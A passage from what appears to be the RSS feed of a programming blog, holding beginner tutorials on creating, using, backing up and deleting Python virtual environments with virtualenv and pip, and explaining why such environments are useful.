python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── python-config&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   └── wheel&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── include&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   └── python3.5m -&amp;gt; /usr/include/python3.5m&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── lib&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        └── python3.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ├── abc.py -&amp;gt; /usr/lib/python3.5/abc.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ├── ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;activate-a-virtual-environment&#34;&gt;Activate a virtual environment&lt;/h2&gt;&#xA;&lt;p&gt;In the above scheme the important part is the file called &lt;em&gt;activate&lt;/em&gt;, which we will use to activate our virtual environment as follows. Remember to replace the word virtual if you named your virtual environment differently:** **&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;source&lt;/span&gt; virtual/bin/activate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If the previous command was executed without problems, we will be able to see how the interpreter of our terminal changed:&lt;/p&gt;&#xA;&lt;p&gt;But it is not only the appearance of the terminal that has changed. We can also see that we are now running our python3 command from another location:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;which python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; /tu/python/ruta/virtual/bin/python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;installing-a-package-in-a-virtual-environment&#34;&gt;Installing a package in a virtual environment&lt;/h2&gt;&#xA;&lt;p&gt;As long as the interpreter looks like this, all packages we install using pip will be installed in our virtual environment and administrator permissions will no longer be required, note the absence of the &lt;em&gt;sudo&lt;/em&gt; command:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading https://files.pythonhosted.org/packages/51/bd/23c926cd341ea6b7dd0b2a00aba99ae0f828be89d72b2190f27c11d4b7fb/requests-2.22.0-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;57kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| 61kB 690kB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting certifi&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2017.4.17 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;from requests&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading https://files.pythonhosted.org/packages/69/1b/b853c7a9d4f6a6d00749e94eb6f3a041e342a885b87340b79c1ef73e3a78/certifi-2019.6.16-py2.py3-none-any.whl --&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;157kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| 163kB 1.2MB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting chardet&amp;lt;3.1.0,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;3.0.2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;from requests&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting urllib3!&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.25.0,!&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.25.1,&amp;lt;1.26,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.21.1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;from requests&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading https://files.pythonhosted.org/packages/e6/60/247f23a7121ae632d62811ba7f273d0e58972d75e58a94d329d51550a47d/urllib3-1.25.3-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;150kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| 153kB 1.7MB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting idna&amp;lt;2.9,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2.5 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;from requests&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/14/2c/cd551d81dbe15200be1cf41cd03869a46fe7226e7450af7a6545bfc474c9/idna-2.8-py2.py3-none-any.whl&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing collected packages: certifi, chardet, urllib3, idna, requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully installed certifi-2019.6.16 chardet-3.0.4 idna-2.8 requests-2.22.0 urllib3-1.25.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The package that was installed went to the folder that was created by executing the &lt;em&gt;virtualenv:&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   ├── requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── adapters.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── api.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── auth.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── certs.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── compat.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s enter the Python interpreter:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If all goes well we should be able to import the &lt;em&gt;requests&lt;/em&gt; package:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; import requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We no longer get the error message when importing! Now we can use it freely and the best thing is that the package is in the folder where we are working, not in the operating system. So, if necessary, we can work with different versions of requests easily, each in its own virtual environment.&lt;/p&gt;&#xA;&lt;h2 id=&#34;backing-up-packages-from-a-virtual-environment&#34;&gt;Backing up packages from a virtual environment&lt;/h2&gt;&#xA;&lt;p&gt;Now that we are in our virtual environment and have installed a package, we may want to back up our package list, in case we ever want to reinstall packages from our current virtual environment. For this &lt;em&gt;pip&lt;/em&gt; is perfect. By running &lt;em&gt;pip&lt;/em&gt;, followed by the word &lt;em&gt;freeze&lt;/em&gt; and sending that information to a file we will have a file with a list of the installed packages:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip freeze &amp;gt; requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the above file created we can install our packages in any other virtual environment we have using &lt;em&gt;pip&lt;/em&gt;. Note the absence of the &lt;em&gt;sudo&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install -r requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;deactivate-a-virtual-environment&#34;&gt;Deactivate a virtual environment&lt;/h2&gt;&#xA;&lt;p&gt;We are now going to leave the virtual environment we have created. Remember that we used &lt;strong&gt;activate&lt;/strong&gt; to enter the virtual environment? Well, we just need to use the &lt;em&gt;deactivate&lt;/em&gt; command in our terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;deactivate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how our terminal has returned to its previous state. Now, just to corroborate that everything went well, let&amp;rsquo;s enter our Python interpreter again,&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We will notice that the &lt;em&gt;requests&lt;/em&gt; package is &lt;strong&gt;NOT installed&lt;/strong&gt;; all the changes we made were made only in our virtual environment, not in the operating system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; import requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;most recent call last&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;&lt;/span&gt;, line 1, in &amp;lt;module&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ImportError: No module named &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;requests&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;delete-a-virtual-environment&#34;&gt;Delete a virtual environment&lt;/h2&gt;&#xA;&lt;p&gt;If you want to delete the virtual environment completely, simply delete the directory where the virtual environment was created. This will leave the folder as it was and all packages that were installed inside the virtual environment will be lost. **Please use this command with caution, avoid deleting the root directory.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm -rf EntornoVirtual/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;pipenv&#34;&gt;Pipenv&lt;/h2&gt;&#xA;&lt;p&gt;There is another package that joins pip and virtualenv, it allows you to manage virtual environments quite easily and has many improvements over virtualenv. If you want to know more about it visit my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/&#34;&gt;tutorial where I explain what it is and how to use Pipenv&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;If you have no idea what a virtual environment is for, I have a post where I explain what &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/why-should-you-use-a-virtual-environment-in-python/&#34;&gt;virtual environments in Python&lt;/a&gt;&#xA; are for. Today I&amp;rsquo;m here to bring you a little Python virtualenv tutorial where we&amp;rsquo;ll install a couple of packages in a virtual environment and see how they behave. Make sure you have &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.python.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Python&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pip.pypa.io/en/stable/installing/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pip&lt;/a&gt;&#xA; installed because we will need them.&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparations-for-using-virtualenv&#34;&gt;Preparations for using virtualenv&lt;/h2&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start first by creating a new directory, you can put it wherever you prefer.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Why should you use a virtual environment in python?</title>
      <link>https://coffeebytes.dev/en/python/why-should-you-use-a-virtual-environment-in-python/</link>
      <pubDate>Wed, 10 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/why-should-you-use-a-virtual-environment-in-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Python virtual environments are a tool that is used in every project. They are so important that they are part of the Python standard library, but what do they do? Let me tell you what a Python virtual environment is for with a fairly simple example.&lt;/p&gt;&#xA;&lt;p&gt;Imagine you are developing two projects, each for a different company. In the first project, you&amp;rsquo;re developing new functionality for a corporate website using Django 2.2. A couple of the libraries used in the previous project are updated infrequently, so to avoid compatibility issues, you decide to keep that version of Django. You decide to name this project &amp;ldquo;Pro 2.2&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;In the second project, your millennial startup clients ask you to develop a web application from scratch. To take advantage of the new features of the framework you use the newest version of Django in this project. You name this second project &amp;ldquo;Pro-newest&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;problems-begin&#34;&gt;Problems begin&lt;/h2&gt;&#xA;&lt;p&gt;That same afternoon you decide to start working on the first project, Pro 2.2. Later, in order not to leave the second project, Pro-newest, behind, you are motivated to write some code. Suddenly, when you need to go back to work on Pro 2.2 again, the problem becomes clear in front of you. Every time you work in Pro 2.2 it will be necessary to uninstall the newer version of Django and, when you write code for the second project, you will have to install the newer version. And worse, this situation is repeated for each dependency of the project.&lt;/p&gt;&#xA;&lt;p&gt;You decide it&amp;rsquo;s okay, that&amp;rsquo;s fine, so you decide to work like this. When you finish your Pro-newest Project you are so excited that you decide to show your colleague. He receives your files but swears to you that the code doesn&amp;rsquo;t run, what went wrong? After a brief chat your friend explains that he has had Django 1.6 installed on his PC for years and hasn&amp;rsquo;t updated it since then. Your project with the latest version of Django won&amp;rsquo;t work on your friend&amp;rsquo;s computer due to version incompatibilities. Wouldn&amp;rsquo;t it be simpler if your friend could use the same version of Django as the project you want to show him? Without having to uninstall the version he already has.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-if-we-use-virtual-machines&#34;&gt;What if we use virtual machines?&lt;/h2&gt;&#xA;&lt;p&gt;We could solve the above problem by installing a virtual machine, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.virtualbox.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;virtualbox&lt;/a&gt;&#xA;. Inside each virtual machine we would be able to install the dependencies of our custom project. And we would have as many as projects. And it would work, wouldn&amp;rsquo;t it? Well yes, but with a big disadvantage: you have to load a complete operating system to have some dependencies. It is too much load to our system to be practical.&lt;/p&gt;&#xA;&lt;p&gt;Virtual machines consume too much hard disk space and the boot time for each virtual machine is daunting. The interaction between our system and a virtual machine can become complicated. After all, we don&amp;rsquo;t need to load an entire operating system, but only Python code.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-solution-a-python-virtual-environment&#34;&gt;The solution, a python virtual environment&lt;/h2&gt;&#xA;&lt;p&gt;A virtual environment, simplifying the explanation as much as possible (forgive me purists), is a space isolated from the rest of our operating system, where we will have a series of dependencies installed locally. It is as if you specify a place from where Python will take its libraries, instead of the default one used by your operating system. These dependencies are independent of the ones we have previously installed in our operating system. And, best of all, we can have as many of these isolated spaces as we want.&lt;/p&gt;&#xA;&lt;p&gt;Imagine a folder where we have Django 2.2 installed and another one for the newer version of Django. Since they are isolated environments, it doesn&amp;rsquo;t matter if our operating system doesn&amp;rsquo;t even have django installed. We will be able to switch between one virtual environment and another, without excessive loading times, and the behavior will be the same as if we had them installed on our operating system.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Needless to say, virtual environments solve quite a few problems. And it is a highly recommended, if not almost mandatory, practice when working with Python code.&lt;/p&gt;&#xA;&lt;h2 id=&#34;virtual-environment-manager-options&#34;&gt;Virtual environment manager options&lt;/h2&gt;&#xA;&lt;p&gt;There are many options of virtual environments available here are some of the most popular ones:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;virtualenv&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/&#34;&gt;pipenv&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;conda&lt;/li&gt;&#xA;&lt;li&gt;poetry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Python virtual environments are a tool that is used in every project. They are so important that they are part of the Python standard library, but what do they do? Let me tell you what a Python virtual environment is for with a fairly simple example.&lt;/p&gt;&#xA;&lt;p&gt;Imagine you are developing two projects, each for a different company. In the first project, you&amp;rsquo;re developing new functionality for a corporate website using Django 2.2. A couple of the libraries used in the previous project are updated infrequently, so to avoid compatibility issues, you decide to keep that version of Django. You decide to name this project &amp;ldquo;Pro 2.2&amp;rdquo;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Learn python from scratch Beginning Python Review</title>
      <link>https://coffeebytes.dev/en/python/learn-python-from-scratch-beginning-python-review/</link>
      <pubDate>Tue, 02 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/learn-python-from-scratch-beginning-python-review/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  